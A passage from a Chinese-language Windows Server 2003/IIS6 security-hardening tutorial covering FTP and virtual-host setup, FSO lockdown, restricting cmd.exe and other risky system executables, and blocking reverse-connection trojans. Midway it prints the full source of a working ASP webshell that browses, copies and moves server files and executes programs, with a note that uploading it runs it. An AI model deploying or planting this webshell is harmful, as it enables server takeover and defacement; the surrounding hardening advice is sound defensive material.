现在我们再来指定该FTP
站点的IP
地址,我们只要点击“FTP
站点”标签,然后在“IP
地址(I
)”的右栏输入框里输入我们本机的IP
地址即可。还有可以在“TCP/IP
端口(T
)”的右输入框里修改当前FTP
站点的TCP/IP
端口号,默认情况下是使用21
端口的。如下图(图22
)所示:

(图22)
这样一个安全的FTP站点就建立成功了。使用IIS6建立的FTP服务器可以使用IE及FTP客户端软件登陆FTP空间。而且功能强大。
10、IIS6下防范WebShell安全配置:
前几节中,我们已经介绍过了如何在IIS6
下配置CGI
、PHP
,在Win2003
系统下,ASP
和ASPX
都是系统组件,都可以在“开始菜单” →“控制面版”→“添加删除程序”里安装及删除的。关于安装及配置上述组件的方法在这里不再详述。
(1)配置一个简单的WWW虚拟主机:
现在我们举例如何组建一个WWW
的虚拟主机网站,我们现在打开“Internet
信息服务(IIS)
管理器”,在左栏窗口中双击“网站”会展开一个关联菜单,找到“默认网站”点击右键出现一个菜单,选择菜单里的“属性”选项,弹出一个“默认网站属性”窗口,现在我们选择“网站”标签,在“IP
地址(I
)”的右栏里输入你机器的IP
地址,本例中,我们的IP
地址输入为 192.168.0.8
,这个IP
地址就是我本机的IP
地址,在“TCP
端口(T
)”里我们可以看到默认的浏览窗口是80
,在这里我们可以更改浏览网站的端口号,点击右栏的“高级(D
)”按钮,我们可以在里面添加或删除我们网站的浏览域名,当然这个域名是你在Internet
上申请来的,并把域名的A
记录指向到了你的本机IP
,以后我们就可以使用域名记录来访问你的网站了。
现在我们来配置这个虚拟主机的WWW
访问目录,我们点击“主目录”标签,在“本地路径(C
)”的右栏里输入你这个虚拟主机在WWW
所要浏览的目录,在本例中,我们输入D:\cnhack
,这样明人就能在WWW
上通过 http
协议访问我们服务器里的 D:\cnhack
目录里的资源了。在“本地路径(C
)”的下方有多个可勾选的选项,一般我们保留默认的就行了,千万不要勾选“写入”项,因为这样将会导致服务器的安全问题,一般我们只使用默认的“读取(R
)、记录访问(V
)、索引资源(I
)”就已经足够了。如下图(图23
)所示:

(图23)
我们还可以在“文档”标签里添加虚拟主机默认的首页文件名等,这样一个简单的虚拟主机服务就配置完成了。如果你已经按上几节所写的配置过成,那么现在你的这个虚拟主机将会是已经支持ASP
、ASPX
、CGI
、PHP
、FSO
、JMAIL
、MySql
、SMTP
、POP3
、FTP
、3389
终端服务、远程桌面Web
连接管理服务等功能强大的服务器了。
(2)、安全使用FSO主机:
其实按我们上一节所说的配置一个简单的虚拟主机,这样的主机是存在各种WEBSHELL
的威胁的,假如你给朋友开了个虚拟主机空间,那么这个虚拟主机存在的最大安全隐患将会是FSO
权限问题,其实FSO
的安全隐患在Win2K
系统里已经是令网管头疼的事了,但在Win2003
中这个FSO
的安全隐患却依然没有解决,在没有经过安全配置的虚拟主机下,只要黑客给虚拟主机空间上传一个ASP
木马,黑客就能利用FSO
权限浏览服务器里的所有文件,并能复制、删除服务器里的所有文件,甚至能利用ASP
木马取得服务器的管理权,可见FSO
安全配置的重要性。
下面我们举例,如果黑客通过某些手段在你的虚拟主机空间上传了一个ASP
木马,那么就等于黑客已经拥有了一个WEBSHELL
,黑客可以通过这个WEBSHELL
控制整台服务器里的数据,本例中我们介绍的是黑客们都熟悉的海阳顶端asp
木马,这种WEBSHELL
能通过网页在线更改、编辑、删除、移动、上传、下载服务器上的任意文件,只要黑客给你的服务器传上这个ASP
木马,你的服务器上的所有文件就会控制在黑客的手上,黑客能在你的服务器干什么?就是上面提及到的。更改、删除、移动……如下图(图24
)所示:

(图24)
看到这个图,你也能想像到你的服务器到最后会变得怎么样了,你服务器上的资料将没有隐私可言了,想黑你服务器上的主页或是删除你服务器上的文件都是点几下鼠标就能办到的了。这种ASP
木马网络上各黑客网站均有下载,源代码就不便写出来了。各黑客网站上还有其它版本的ASP
木马下载,但基本上都是调用FSO
(Scripting.FileSystemObject
)写的。
其实你如果要防范这种攻击,你只要把ASP
中的FSO
(Scripting.FileSystemObject
)功能删除就行了,删除FSO
权限方法就是在CMD
的命令提示符下输入以下命令:
Regsvr32
/u
c:\windows\system32\scrrun.dll
注意:在实际操作的时候要更改成为你本地系统安装目录的实际路径,但是使用这种方法删除也太绝了一点,如果以后我们想使用FSO
权限,那就用不了啦。所以建议不要使用这种方法删除FSO
权限,
显而易见,如果这样做,那么包括站点系统管理员在内的任何人都将不可以使用FileSystemObject
对象了,这其实并不是站点管理人员想要得到的结果,毕竟我们使用这个对象可以实现方便的在线站台管理,如果连系统管理员都没法使用了,那可就得不偿失了,但是不禁止这个危险的对象又会给自己的站点带来安全漏洞。那么有没有两全其美的方法呢?有!具体方法如下:
我们可以做到禁止其他人非法使用FileSystemObject
对象,
但是我们自己仍然可以使用这个对象。
方法如下:
查找注册表中
HKEY_CLASSES_ROOT\Scripting.FileSystemObject
键值
将其更改成为你想要的字符串(
右键-->"
重命名"),
比如更改成为
HKEY_CLASSES_ROOT\Scripting.FileSystemObject2
这样,
在ASP
就必须这样引用这个对象了:
Set fso = CreateObject("Scripting.FileSystemObjectnetpk")
而不能使用:
Set fso = CreateObject("Scripting.FileSystemObject")
如果你使用通常的方法来调用FileSystemObject
对象就会无法使用了。
呵呵,只要你不告诉别人这个更改过的对象名称,其他人是无法使用FileSystemObject
对象的。这样,作为站点管理者我们就杜绝了他人非法使用FileSystemObject
对象,而我们自己仍然可以使用这个对象来方便的实现网站在线管理等等功能了!
(3)免FSO对像就能使用的ASP木马防范方法:
对于这种免FSO
对像就能使用的ASP
木马,由于少了FSO
对像的支持,功能上当然不会很强大的了,只有浏览服务器上的文件目录,复制、移动文件、执行指定路径的程序文件等功能。以下是当你浏览这个ASP
木马时,所出现的图例,如(
图25)
所示:

(图25)
你可以通过这个免FSO支持的ASP木马对服务器上的文件进行任意的复制及移动和执行程序,这个木马程的功能随然简单,但是用它来黑一个网站就是已经足够的了。比如,我们可以把网站的首页移动到其它地方,然后我们再复制一个同名的黑客网页进去就行了。使用执行程序功能让服务器执行任意的木马程序以取得服务器的ADMIN管理权等。
以下我给出这个免FSO对像的ASP源代码,代码如下:
<%response.write "<font size=6 color=red>一次只能执行一个操作:)</font>" %>
<%response.write now()%><BR>程序所在的物理路径:
<%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
<html>
<title>asp's shell.application backdoor </title>
<body>
<form action="<%= Request.ServerVariables("URL") %>" method="POST">
<input type=text name=text value="<%=szCMD %>">
输入要浏览的目录<br>
<input type=text name=text1 value="<%=szCMD1 %>">
copy
<input type=text name=text2 value="<%=szCMD2 %>"><br>
<input type=text name=text3 value="<%=szCMD3 %>">
move
<input type=text name=text4 value="<%=szCMD4 %>"><br>
路径:<input type=text name=text5 value="<%=szCMD5 %>">
程序:<input type=text name=text6 value="<%=szCMD6 %>"><br>
<input type=submit name=sb value=发送命令>
</form>
</body>
</html>
<%
szCMD = Request.Form("text")
'目录浏览
if (szCMD <> "")
then
set shell=server.createobject("shell.application") '建立shell对象
set fod1=shell.namespace(szcmd)
set foditems=fod1.items
for each co in foditems
response.write "<font color=red>" & co.path & "-----" & co.size & "</font><br>"
next
end if
%>
<%
szCMD1 = Request.Form("text1")
'目录拷贝,不能进行文件拷贝
szCMD2 = Request.Form("text2")
if szcmd1<>"" and szcmd2<>"" then
set shell1=server.createobject("shell.application") '建立shell对象
set fod1=shell1.namespace(szcmd2)
for i=len(szcmd1) to 1 step -1
if mid(szcmd1,i,1)="\" then
path=left(szcmd1,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd1,len(szcmd1)-i)
set fod2=shell1.namespace(path)
set foditem=fod2.parsename(path2)
fod1.copyhere foditem
response.write "command completed success!"
end if
%>
<%
szCMD3 = Request.Form("text3")
'目录移动
szCMD4 = Request.Form("text4")
if szcmd3<>"" and szcmd4<>"" then
set shell2=server.createobject("shell.application") '建立shell对象
set fod1=shell2.namespace(szcmd4)
for i=len(szcmd3) to 1 step -1
if mid(szcmd3,i,1)="\" then
path=left(szcmd3,i-1)
exit for
end if
next
if len(path)=2 then path=path & "\"
path2=right(szcmd3,len(szcmd3)-i)
set fod2=shell2.namespace(path)
set foditem=fod2.parsename(path2)
fod1.movehere foditem
response.write "command completed success!"
end if
%>
<%
szCMD5 = Request.Form("text5")
'执行程序要指定路径
szCMD6 = Request.Form("text6")
if szcmd5<>"" and szcmd6<>"" then
set shell3=server.createobject("shell.application") '建立shell对象
shell3.namespace(szcmd5).items.item(szcmd6).invokeverb
response.write "command completed success!"
end if
%>
你只要把上面的代码写在记事本里,保存扩展名为 .ASP ,再传到你的虚拟主机空间就可以运行了。
防范免FSO支持的ASP木马方法如下:
通过上面的代码,我们可以看出这段代码的SHELL是通过shell.application 建立 shell 对像的,我们只要在注册表里查找键值shell.application和 wscript.shell 键值,然后把这些键值删除,就能防止这一类的ASP木马攻击了,删除这些键值对你的服务器及ASP支持等不会造成影响的,所以请放心删除。
各黑客网站上还有各种各样的WEBSHELL
下载,除了ASP
的WEBSHELL
以外,还有CGI
、PHP
、JSP
的等等。基本上都是大同小异的,还有一些WEBSHELL
是调用系统下的CMD
.EXE
命令运行的。但这些调用服务器系统CMD
.EXE
的WEBSHELL
木马在Win2003
下没法运行了,能调用CMD
.EXE
命令的WEBSHELL
只在Win2K
下测试通过,在Win2003
下,那些ASP
、CGI
、PHP
、JSP
的WEBSHELL
已经不能调用CMD
.EXE
的命令了。原因很简单,因为Win2K
下的CMD
.EXE
命令在默认情况下是能以匿名及来宾权限访问的,而Win2003
系统下,CMD
.EXE
命令却禁止了“Everyone
”匿名访问及“Guests
”组的访问权限了,所以各种调用CMD
.EXE
的WEBSHELL
木马都没法运行了,这也算是Win2003
系统安全上的一点进步吧。
十一、配置一台安全的服务器,把各种溢出攻击、反向连接木马拒于门外:
上一节中,我们谈到了有些WEBSHELL
能通过调用系统的CMD
.EXE
命令在服务器上运行CMD
命令,我们再细想一下,现在网络上流行的溢出攻击,如WEBDAV
溢出等不就是对存有溢出漏洞的服务器进行溢出攻击的吗?攻击成功后,被溢出的服务器就会自动绑定服务器的CMD
.EXE
命令,黑客就会远程连接被溢出成功的服务器的CMD
.EXE
命令行。以取得远程服务器的系统管理权。
既然黑客的溢出攻击是通过溢出攻击工具溢出成功后绑定CMD
.EXE
命令并以SYSTEM
系统权限登陆服务器的,只要我们对Win2003
系统下的C
:\WINDOWS\SYSTEM32\CMD
.EXE
文件设置一定的权限,呵呵,那么黑客的这些溢出攻击都将没用武之地了。为了安全起见,我们还要对如 net.exe
cacls.exe
telnet.exe
tftp.exe ftp.exe
format.com
mountvol.exe mshta.exe
等危险的命令作出权限设置。因为这些危险的文件默认的情况下都是允许SYSTEM
权限的用户访问及执行的,只有为这些文件设置了权限,这样才能确保服务器系统真正的安全。这些危险的文件默认的情况下,都是存放在 C:\WINDOWS\SYSTEM32
的目录下的。设置权限的方法如下图(图26
)所示:

(
图26)
清除原来的所有其它用户访问这些命令的权限,然后只设置允许你正在使用的超级用户拥有使用这些命令的权限,比如说你正在使用的超级用户名是 administrator
那么,你就在权限设置里只允许用户名为 administrator
的用户使用这些命令。
通过这些安全配置,以后你的服务器就算存在溢出漏洞,就算黑客对你的服务器进行溢出攻击成功,黑客也没法登陆你的服务器的了,因为一般黑客的溢出攻击都是通过绑定远程被溢出攻击服务器的系统CMD
命令登陆的,并且是以SYSTEM
权限登陆,而你在CMD
的使用权限里删除了所有用户的使用CMD
权限,只有你正在使用的超级管理员帐号才能拥有这个CMD
命令的使用权,所以黑客就算溢出成功了,也没法远程连接并登陆你的服务器了。通过最简单的安全配置,就能防范多种未知及已知的溢出攻击,是不是很实用呢!:)
但这只能是相对的安全,因为有些溢出攻击黑客能直接把反向连接的木马文件传到你的服务器上,并能运行哦。呵呵,如最近出现的Serv-U
溢出,如果你的FTP
服务器使用了Serv-U
的话,你又没有打上最新的安全补丁,让黑客溢出成功了,那么黑客可以不绑定你的CMD
命令登陆你的服务器,而是给你服务器传一个反向连接的木马后门,这种反向连接的后门是通过你的服务器向黑客的机器连接,而黑客只要在自己的机器监听,只要你的服务器中了这种后门,那么就算你的服务器安装了防火墙,并屏蔽了所有不使用的端口,黑客不能正向与你的服务器联接木马后门,但黑客给你传一个反向连接的木马,这个木马是通过你的服务器连接黑客的机器的,只要你的服务器向黑客的机器发出连接请求,黑客就能取得你服务器的控制权,而这种反向木马攻击可以完全不依赖于Win2003
系统下的CMD
.EXE
。可以反向连接木马的危害性。
那么我们如何防止这一类的反向木马攻击呢?方法很简单,那就是安装一个具有防止反向连接木马的防火墙,如天网及金山网镖等防火墙。都是具有防止反向连接功能的,因为这些防火墙都有应用程序访问网络权限设置功能。服务器上的任何一个程序要访问网络,都会弹出一个警告窗口,必须要服务器的管理员同意允许该应用程序访问网络后,这些程序才能访问网络,这项功能正好用于防范反向木马。下面举一个例子,如你的服务器安装了天网防火墙,如黑客成功溢出了你的Serv-U服务器,并给你传了一个反向连接的后门木马,这个后门木马在你的服务器的 C:\MM.EXE ,黑客所在IP地址是 192.168.0.18 ,现在黑客要对你服务器的这个反向连接木马进行连接,只要黑客在你服务器上运行了这个反向木马,那么你的天网防火墙就会弹出一个警告窗口,如下图(图27)所示:

(图27)
通过上述配置,我们的服务器已经能抵挡目前已知及未知的任何溢出攻击了,当然这些对于服务器安全来说还不够的,我们还要屏蔽掉一些我们不使用的服务端口,方法很简单,在桌面上右键点击“网上邻居”图标,出现一菜单,选择“属性”,这时弹出一个“网络连接”的窗口,找到“本地连接”再点击鼠标右键,选择“属性”,弹出“本地连接属性“窗口,选择“Internet
协议(TCP/IP
)”再点击“属性”按钮,弹出“Internet
协议(TCP/IP
)属性”窗口,点击“高级(V
)”按钮,出现“高级TCP/IP
设置”窗口,选择“选项”标签,再点击“属性(P
)”按钮,这时弹出一个“TCP/IP
筛选”对话框,在这个窗口里设置你需要开放服务的端口。如FTP
服务需要开放21
端口,WWW
服务需要开放80
端口,SMTP
服务需要开放25
端口,POP3
服务需要开放110
端口,终端服务需要开放3389
端口,MYSQL
数据库需要开放3306
端口……
如下图(图28
)所示:

(图28)
只要你通过了本文所述的方法配置你的服务器,你的服务器将会是一台稳若金汤的服务器,目前网络上流行的溢出攻击及一些未知的溢出等攻击方法,各种ASP
、ASPX
、CGI
、PHP
、JSP
的WEBSHELL
攻击等在你的服务器里也没用武之地。